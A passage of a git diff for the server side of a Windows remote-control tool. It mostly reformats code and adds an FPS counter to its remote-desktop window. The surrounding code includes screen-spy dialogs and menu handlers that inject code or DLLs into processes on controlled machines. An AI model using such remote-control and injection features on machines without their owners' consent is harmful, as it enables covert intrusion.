m_ulMaxConnections) { static uint64_t notifyTime = 0; - auto now = time(0); + auto now = time(0); if (now - notifyTime > 15) { notifyTime = now; Mprintf("!!! AllocateContext: 达到最大连接数 %lu，拒绝新连接\n", m_ulMaxConnections); if (m_hMainWnd) { - char tip[256]; - sprintf_s(tip, _TRF("达到最大连接数限制: %lu, 请释放连接"), m_ulMaxConnections); + char tip[256]; + sprintf_s(tip, _TRF("达到最大连接数限制: %lu, 请释放连接"), m_ulMaxConnections); PostMessageA(m_hMainWnd, WM_SHOWNOTIFY, (WPARAM)new CharMsg(_TR("达到最大连接数")), - (LPARAM)new CharMsg(tip)); + (LPARAM)new CharMsg(tip)); } - } + } return NULL; } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 80f5857..82afb60 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -56,7 +56,7 @@ protected: CRITICAL_SECTION m_cs; ContextObjectList m_ContextConnectionList; ContextObjectList m_ContextFreePoolList; - HWND m_hMainWnd = nullptr; + HWND m_hMainWnd = nullptr; private: static DWORD WINAPI ListenThreadProc(LPVOID lParam); @@ -131,7 +131,7 @@ public: CDialogLang(nIDTemplate, pParent) { m_bConnected = TRUE; - m_nDisconnectTime = 0; + m_nDisconnectTime = 0; m_IPAddress = pContext->GetPeerName().c_str(); m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } diff --git a/server/2015Remote/InputDlg.cpp b/server/2015Remote/InputDlg.cpp index ad4d08f..515488e 100644 --- a/server/2015Remote/InputDlg.cpp +++ b/server/2015Remote/InputDlg.cpp @@ -31,7 +31,7 @@ void CInputDialog::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sSecondInput, 100); DDX_Control(pDX, IDC_STATIC_TIPINFO, m_StaticTipInfo); DDX_Text(pDX, IDC_STATIC_TIPINFO, m_sTipInfo); - DDV_MaxChars(pDX, m_sTipInfo, 64); + DDV_MaxChars(pDX, m_sTipInfo, 64); } @@ -69,7 +69,7 @@ BOOL CInputDialog::OnInitDialog() m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); m_Edit2thInput.SetWindowTextA(m_sSecondInput); m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); - m_StaticTipInfo.SetWindowTextA(m_sTipInfo); + m_StaticTipInfo.SetWindowTextA(m_sTipInfo); m_StaticTipInfo.ShowWindow(m_sTipInfo.IsEmpty() ? SW_HIDE : SW_SHOW); return TRUE; // return TRUE unless you set the focus to a control diff --git a/server/2015Remote/LangManager.h b/server/2015Remote/LangManager.h index 028a86a..9457529 100644 --- a/server/2015Remote/LangManager.h +++ b/server/2015Remote/LangManager.h @@ -249,8 +249,14 @@ public: // 翻译函数 - 用于 CString 变量或 LPCTSTR // 用法: _L(strVar) 或 _L(_T("中文")) -inline CString _L(const CString& str) { return g_Lang.Get(str); } -inline CString _L(LPCTSTR str) { return g_Lang.Get(CString(str)); } +inline CString _L(const CString& str) +{ + return g_Lang.Get(str); +} +inline CString _L(LPCTSTR str) +{ + return g_Lang.Get(CString(str)); +} // 翻译宏 - 用于格式化函数中的变量 (返回 LPCTSTR) // 用法: _stprintf_s(buf, _LF(strVar), arg); @@ -402,11 +408,11 @@ inline void TranslateMenu(CMenu* pMenu) if (pSubMenu) { // 弹出菜单使用 MF_POPUP pMenu->ModifyMenu(i, MF_BYPOSITION | MF_POPUP | MF_STRING, - (UINT_PTR)pSubMenu->GetSafeHmenu(), newText); + (UINT_PTR)pSubMenu->GetSafeHmenu(), newText); } else { // 普通菜单项 pMenu->ModifyMenu(i, MF_BYPOSITION | MF_STRING, - pMenu->GetMenuItemID(i), newText); + pMenu->GetMenuItemID(i), newText); } } } @@ -469,7 +475,7 @@ inline void TranslateListHeader(CListCtrl* pList) class CDialogLang : public CDialog { public: - CDialogLang(){} + CDialogLang() {} CDialogLang(UINT nIDTemplate, CWnd* pParent = NULL) : CDialog(nIDTemplate, pParent) {} @@ -571,19 +577,19 @@ protected: // 静态文本 AddControl(0x0082, 15, 15, 40, 12, (WORD)-1, - SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:")); + SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:")); // ComboBox AddControl(0x0085, 55, 13, 130, 150, 1001, - CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); + CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); // 确定按钮 AddControl(0x0080, 45, 50, 50, 14, IDOK, - BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定")); + BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定")); // 取消按钮 AddControl(0x0080, 105, 50, 50, 14, IDCANCEL, - BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消")); + BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消")); return (LPCDLGTEMPLATE)m_templateBuffer.data(); } @@ -594,7 +600,10 @@ protected: m_templateBuffer.insert(m_templateBuffer.end(), p, p + size); } - void AppendWord(WORD w) { AppendData(&w, sizeof(WORD)); } + void AppendWord(WORD w) + { + AppendData(&w, sizeof(WORD)); + } void AppendString(LPCTSTR str) { @@ -615,12 +624,15 @@ protected: } void AddControl(WORD classAtom, short x, short y, short cx, short cy, - WORD id, DWORD style, LPCTSTR text) + WORD id, DWORD style, LPCTSTR text) { AlignToDword(); DLGITEMTEMPLATE item = { 0 }; item.style = style; - item.x = x; item.y = y; item.cx = cx; item.cy = cy; + item.x = x; + item.y = y; + item.cx = cx; + item.cy = cy; item.id = id; AppendData(&item, sizeof(DLGITEMTEMPLATE)); AppendWord(0xFFFF); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index d883a6e..fc34681 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -328,16 +328,15 @@ BOOL CScreenSpyDlg::OnInitDialog() if (m_Settings.ScreenStrategy == 0) { SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); - } - else if (m_Settings.ScreenStrategy == 1) { + } else if (m_Settings.ScreenStrategy == 1) { SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); } - int fpsIndex = IDM_FPS_10 + (m_Settings.MaxFPS - 10)/5; + int fpsIndex = IDM_FPS_10 + (m_Settings.MaxFPS - 10)/5; for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { SysMenu->CheckMenuItem(i, MF_UNCHECKED); - } - SysMenu->CheckMenuItem(fpsIndex, MF_CHECKED); + } + SysMenu->CheckMenuItem(fpsIndex, MF_CHECKED); // 设置滚动检测间隔选中状态 SysMenu->CheckMenuItem(IDM_SCROLL_DETECT_OFF, MF_UNCHECKED); @@ -402,8 +401,8 @@ VOID CScreenSpyDlg::OnClose() CWnd* pMain = AfxGetMainWnd(); if (pMain) ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)nullptr, 0); - KillTimer(1); - KillTimer(2); + KillTimer(1); + KillTimer(2); KillTimer(3); KillTimer(4); if (!m_aviFile.IsEmpty()) { @@ -436,8 +435,8 @@ VOID CScreenSpyDlg::OnClose() afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam) { m_bConnected = FALSE; - m_nDisconnectTime = GetTickCount64(); - // Close the dialog if reconnect not succeed in 15 seconds + m_nDisconnectTime = GetTickCount64(); + // Close the dialog if reconnect not succeed in 15 seconds SetTimer(2, 15000, NULL); SetTimer(3, 3000, NULL); PostMessage(WM_PAINT); @@ -472,22 +471,26 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_FIRSTSCREEN: { DrawFirstScreen(); + m_ulFramesThisSecond++; break; } case TOKEN_NEXTSCREEN: { DrawNextScreenDiff(false); + m_ulFramesThisSecond++; break; } case TOKEN_KEYFRAME: { if (!m_bIsFirst) { DrawNextScreenDiff(true); } + m_ulFramesThisSecond++; break; } case TOKEN_SCROLL_FRAME: { if (!m_bIsFirst) { DrawScrollFrame(); } + m_ulFramesThisSecond++; break; } case TOKEN_CLIPBOARD_TEXT: { @@ -785,7 +788,7 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) void CScreenSpyDlg::OnPaint() { - if (m_bIsClosed) return; + if (m_bIsClosed) return; CPaintDC dc(this); // device context for painting if (m_bIsFirst) { @@ -798,13 +801,13 @@ void CScreenSpyDlg::OnPaint() BitBlt(m_hFullDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY); if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) { - CPoint ptLocal; - GetCursorPos(&ptLocal); - ScreenToClient(&ptLocal); + CPoint ptLocal; + GetCursorPos(&ptLocal); + ScreenToClient(&ptLocal); - CRect rcToolbar(0, 0, 0, 0); - if (m_pToolbar) m_pToolbar->GetWindowRect(&rcToolbar), ScreenToClient(&rcToolbar); - // 只有当本地鼠标不在工具栏区域时，才绘制远程位图光标 + CRect rcToolbar(0, 0, 0, 0); + if (m_pToolbar) m_pToolbar->GetWindowRect(&rcToolbar), ScreenToClient(&rcToolbar); + // 只有当本地鼠标不在工具栏区域时，才绘制远程位图光标 if (!rcToolbar.PtInRect(ptLocal)) { // 1. 计算缩放位置 @@ -823,61 +826,57 @@ void CScreenSpyDlg::OnPaint() } if (!m_bConnected && GetTickCount64() - m_nDisconnectTime>2000) { DrawTipString("正在重连......", 2); - } + } } BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { - if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) - { - ::SetCursor(NULL); // 只要在客户区，始终隐藏系统光标 - return TRUE; // 告诉 Windows 我们处理过了 - } - return __super::OnSetCursor(pWnd, nHitTest, message); + if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) { + ::SetCursor(NULL); // 只要在客户区，始终隐藏系统光标 + return TRUE; // 告诉 Windows 我们处理过了 + } + return __super::OnSetCursor(pWnd, nHitTest, message); } VOID CScreenSpyDlg::DrawTipString(CString strString, int fillMode) { - // fillMode: 0=不填充, 1=全黑, 2=半透明 - RECT Rect; - GetClientRect(&Rect); - int width = Rect.right - Rect.left; - int height = Rect.bottom - Rect.top; + // fillMode: 0=不填充, 1=全黑, 2=半透明 + RECT Rect; + GetClientRect(&Rect); + int width = Rect.right - Rect.left; + int height = Rect.bottom - Rect.top; - if (fillMode == 1) - { - // 原来的全黑效果 - COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); - SetBkColor(m_hFullDC, BackgroundColor); - ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); - } - else if (fillMode == 2) - { - // 半透明效果 - HDC hMemDC = CreateCompatibleDC(m_hFullDC); - HBITMAP hBitmap = CreateCompatibleBitmap(m_hFullDC, width, height); - HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); + if (fillMode == 1) { + // 原来的全黑效果 + COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); + SetBkColor(m_hFullDC, BackgroundColor); + ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); + } else if (fillMode == 2) { + // 半透明效果 + HDC hMemDC = CreateCompatibleDC(m_hFullDC); + HBITMAP hBitmap = CreateCompatibleBitmap(m_hFullDC, width, height); + HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); - HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); - FillRect(hMemDC, &Rect, hBrush); - DeleteObject(hBrush); + HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); + FillRect(hMemDC, &Rect, hBrush); + DeleteObject(hBrush); - BLENDFUNCTION blend = { 0 }; - blend.BlendOp = AC_SRC_OVER; - blend.SourceConstantAlpha = 150; - blend.AlphaFormat = 0; + BLENDFUNCTION blend = { 0 }; + blend.BlendOp = AC_SRC_OVER; + blend.SourceConstantAlpha = 150; + blend.AlphaFormat = 0; - AlphaBlend(m_hFullDC, 0, 0, width, height, - hMemDC, 0, 0, width, height, blend); + AlphaBlend(m_hFullDC, 0, 0, width, height, + hMemDC, 0, 0, width, height, blend); - SelectObject(hMemDC, hOldBitmap); - DeleteObject(hBitmap); - DeleteDC(hMemDC); - } + SelectObject(hMemDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemDC); + } - SetBkMode(m_hFullDC, TRANSPARENT); - SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); - DrawText(m_hFullDC, strString, -1, &Rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); + SetBkMode(m_hFullDC, TRANSPARENT); + SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); + DrawText(m_hFullDC, strString, -1, &Rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } bool DirectoryExists(const char* path) @@ -926,15 +925,15 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) case IDM_FULLSCREEN: { // 全屏 EnterFullScreen(); SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式 - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = TRUE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = TRUE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); break; } case IDM_REMOTE_CURSOR: { - BYTE cmd[4] = { CMD_REMOTE_CURSOR, m_Settings.RemoteCursor = !m_Settings.RemoteCursor }; + BYTE cmd[4] = { CMD_REMOTE_CURSOR, m_Settings.RemoteCursor = !m_Settings.RemoteCursor }; SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED); - m_ContextObject->Send2Client(cmd, sizeof(cmd)); - break; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; } case IDM_SAVEDIB: { // 快照保存 SaveSnapshot(); @@ -957,7 +956,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) { MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " + - CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); + CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); m_aviFile = _T(""); } else { ::SetTimer(m_hWnd, TIMER_ID, duration, NULL); @@ -979,7 +978,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2] = { CMD_MULTITHREAD_COMPRESS, (BYTE)threadNum }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); SysMenu->CheckMenuItem(nID, threadNum ? MF_CHECKED : MF_UNCHECKED); - m_Settings.CompressThread = threadNum; + m_Settings.CompressThread = threadNum; break; } @@ -987,9 +986,9 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) const int strategy = 1; BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); - m_Settings.ScreenStrategy = strategy; - SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); - SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); + m_Settings.ScreenStrategy = strategy; + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); break; } @@ -998,8 +997,8 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); m_Settings.ScreenStrategy = strategy; - SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); - SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); break; } @@ -1012,11 +1011,11 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int fps = 10 + (nID - IDM_FPS_10) * 5; BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); - m_Settings.MaxFPS = nID == IDM_FPS_UNLIMITED ? 255 : fps; + m_Settings.MaxFPS = nID == IDM_FPS_UNLIMITED ? 255 : fps; for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { - SysMenu->CheckMenuItem(i, MF_UNCHECKED); - } - SysMenu->CheckMenuItem(nID, MF_CHECKED); + SysMenu->CheckMenuItem(i, MF_UNCHECKED); + } + SysMenu->CheckMenuItem(nID, MF_CHECKED); break; } @@ -1102,19 +1101,21 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent) } CWnd* pMain = AfxGetMainWnd(); if (pMain) - ::PostMessageA(pMain->GetSafeHwnd(), WM_SHOWNOTIFY, (WPARAM)new CharMsg("连接已断开"), - (LPARAM)new CharMsg(m_IPAddress + " - 远程桌面连接已断开")); + ::PostMessageA(pMain->GetSafeHwnd(), WM_SHOWNOTIFY, (WPARAM)new CharMsg("连接已断开"), + (LPARAM)new CharMsg(m_IPAddress + " - 远程桌面连接已断开")); this->PostMessageA(WM_CLOSE, 0, 0); return; - } + } if (nIDEvent == 3) { KillTimer(3); PostMessageA(WM_PAINT); } if (nIDEvent == 4) { - // 计算传输速率并更新标题 + // 计算传输速率和帧率并更新标题 m_dTransferRate = m_ulBytesThisSecond / 1024.0; // KB/s m_ulBytesThisSecond = 0; + m_ulFrameRate = m_ulFramesThisSecond; + m_ulFramesThisSecond = 0; UpdateWindowTitle(); } __super::OnTimer(nIDEvent); @@ -1129,11 +1130,11 @@ void CScreenSpyDlg::UpdateWindowTitle() CString strTitle; if (m_dTransferRate >= 1024) { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %.1f MB/s", - m_IPAddress, width, height, m_dTransferRate / 1024); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s", + m_IPAddress, width, height, m_ulFrameRate, m_dTransferRate / 1024); } else { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %.0f KB/s", - m_IPAddress, width, height, m_dTransferRate); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s", + m_IPAddress, width, height, m_ulFrameRate, m_dTransferRate); } SetWindowText(strTitle); } @@ -1166,8 +1167,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) (GetKeyState(VK_CONTROL) & 0x8000) && (GetKeyState(VK_MENU) & 0x8000)) { LeaveFullScreen(); - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); return TRUE; } } @@ -1439,7 +1440,7 @@ void CScreenSpyDlg::EnterFullScreen() // 全屏退出成功则返回true bool CScreenSpyDlg::LeaveFullScreen() { - if (1){ + if (1) { KillTimer(1); if (m_pToolbar) { m_pToolbar->DestroyWindow(); @@ -1491,14 +1492,12 @@ BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt) void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) { if (m_Settings.RemoteCursor) { - if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) - { + if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) { CRect rcToolbar; m_pToolbar->GetWindowRect(&rcToolbar); ScreenToClient(&rcToolbar); // 转换到主窗口坐标系 - if (rcToolbar.PtInRect(point)) - { + if (rcToolbar.PtInRect(point)) { // 如果鼠标在工具栏区域，直接显示本地光标并返回，不发送远程指令 ::SetCursor(LoadCursor(NULL, IDC_ARROW)); return; @@ -1508,7 +1507,7 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) // 关键：在控制模式下，强制设置光标为空，隐藏本地物理箭头 ::SetCursor(NULL); } - }else if (!m_bMouseTracking) { + } else if (!m_bMouseTracking) { m_bMouseTracking = true; SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index fec1983..e07b338 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -114,6 +114,9 @@ public: // 传输速率统计 ULONG m_ulBytesThisSecond = 0; // 本秒累计字节 double m_dTransferRate = 0; // 当前速率 (KB/s) + // 帧率统计 + ULONG m_ulFramesThisSecond = 0; // 本秒累计帧数 + ULONG m_ulFrameRate = 0; // 当前帧率 (FPS) void OnTimer(UINT_PTR nIDEvent); void UpdateWindowTitle(); @@ -137,8 +140,8 @@ public: afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam); afx_msg void OnExitFullscreen() { - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); LeaveFullScreen(); } diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 5090ddc..22449d6 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -339,11 +339,13 @@ public: Zcctx = nullptr; } } - virtual void SetLastHeartbeat(uint64_t time) override { - LastHeartbeatTime = time; - } - virtual uint64_t GetLastHeartbeat() override { - return LastHeartbeatTime; + virtual void SetLastHeartbeat(uint64_t time) override + { + LastHeartbeatTime = time; + } + virtual uint64_t GetLastHeartbeat() override + { + return LastHeartbeatTime; } CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; @@ -368,7 +370,7 @@ public: std::string GroupName; // 分组名称 CLock SendLock; // fix #214 time_t OnlineTime = 0; // 上线时间 - time_t LastHeartbeatTime = 0; // 最后心跳时间 + time_t LastHeartbeatTime = 0; // 最后心跳时间 // 预分配的解压缩缓冲区，避免频繁内存分配 PBYTE DecompressBuffer = nullptr; @@ -382,7 +384,8 @@ public: int CompressLevel = ZSTD_CLEVEL_DEFAULT; ZSTD_CCtx* Zcctx = nullptr; - void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT) { + void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT) + { CAutoCLock L(SendLock); CompressLevel = level; if (Zcctx == nullptr) { @@ -390,14 +393,16 @@ public: ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); } } - void SetCompressionLevel(int level) { + void SetCompressionLevel(int level) + { CAutoCLock L(SendLock); CompressLevel = level; if (Zcctx) { ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); } } - int GetZstdLevel() const { + int GetZstdLevel() const + { return CompressLevel; } // 获取或分配解压缩缓冲区 @@ -490,7 +495,7 @@ public: m_bProxyConnected = FALSE; server = (Server*)svr; OnlineTime = time(0); - LastHeartbeatTime = OnlineTime; + LastHeartbeatTime = OnlineTime; } uint64_t GetAliveTime()const { @@ -535,7 +540,7 @@ public: } virtual int GetPort() const { - // 第一次返回套接字，后续返回地址栏端口号 + // 第一次返回套接字，后续返回地址栏端口号 if (sClientInfo[ONLINELIST_ADDR].IsEmpty()) return sClientSocket; return atoi(sClientInfo[ONLINELIST_ADDR]); @@ -556,16 +561,17 @@ public: } void SetAdditionalData(int index, const std::string &value) { - if (index >= 0 && index < RES_MAX) { + if (index >= 0 && index < RES_MAX) { additonalInfo[index] = value.c_str(); } - } + } std::string GetGroupName() const override { return GroupName; } - virtual void SetGroupName(const std::string& group)override { - GroupName = group; + virtual void SetGroupName(const std::string& group)override + { + GroupName = group; } BOOL IsLogin() const override { @@ -739,8 +745,8 @@ public: { char client_ip[INET_ADDRSTRLEN]; #if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) - strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); - client_ip[INET_ADDRSTRLEN - 1] = '\0'; + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; #else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); #endif diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 47a6813..29e38f5 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -26,7 +26,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent) , m_sFrpToken(_T("")) , m_nFileServerPort(0) { - g_2015RemoteDlg = pParent; + g_2015RemoteDlg = pParent; } CSettingDlg::~CSettingDlg() @@ -66,7 +66,7 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall); DDX_Control(pDX, IDC_EDIT_FILESERVER_PORT, m_EditFileServerPort); DDX_Text(pDX, IDC_EDIT_FILESERVER_PORT, m_nFileServerPort); - DDV_MinMaxInt(pDX, m_nFileServerPort, 1, 65535); + DDV_MinMaxInt(pDX, m_nFileServerPort, 1, 65535); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index e8d2a01..1bef3e7 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -1,7 +1,7 @@ #pragma once #include "afxwin.h" #include "LangManager.h" -#include "2015RemoteDlg.h" +#include "2015RemoteDlg.h" // CSettingDlg 对话框 diff --git a/server/2015Remote/SplashDlg.h b/server/2015Remote/SplashDlg.h index 729a588..f61a0ef 100644 --- a/server/2015Remote/SplashDlg.h +++ b/server/2015Remote/SplashDlg.h @@ -11,7 +11,7 @@ public: BOOL Create(CWnd* pParent = NULL); private: - friend class CMy2015RemoteApp; + friend class CMy2015RemoteApp; int SafeMessageBox(LPCTSTR lpszText, LPCTSTR lpszCaption, UINT nType); public: diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 573e5e8..6acc7da 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -102,7 +102,8 @@ struct WindowAttrs { }; // 从末尾解析窗口属性（支持标题含 | 字符, 兼容老客户端） -BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs) { +BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs) +{ if (szData == NULL || attrs == NULL) return FALSE; @@ -174,7 +175,7 @@ void CSystemDlg::ShowWindowsList(void) m_ControlList.InsertItem(i, str); // 句柄 m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题 m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 - m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID + m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID // ItemData 为窗口句柄 auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} }; m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) @@ -540,7 +541,7 @@ void CSystemDlg::OnPlistInject() MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行代码注入!", "提示", MB_ICONINFORMATION); if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程 (仅限64位) 进行代码注入吗?\n此操作可能被安全软件阻止，或导致进程崩溃!", - "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; @@ -568,7 +569,7 @@ void CSystemDlg::OnPlistAntiBlackScreen() MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION); if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!", - "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; diff --git a/server/2015Remote/ToolbarDlg.cpp b/server/2015Remote/ToolbarDlg.cpp index 118dc82..c812571 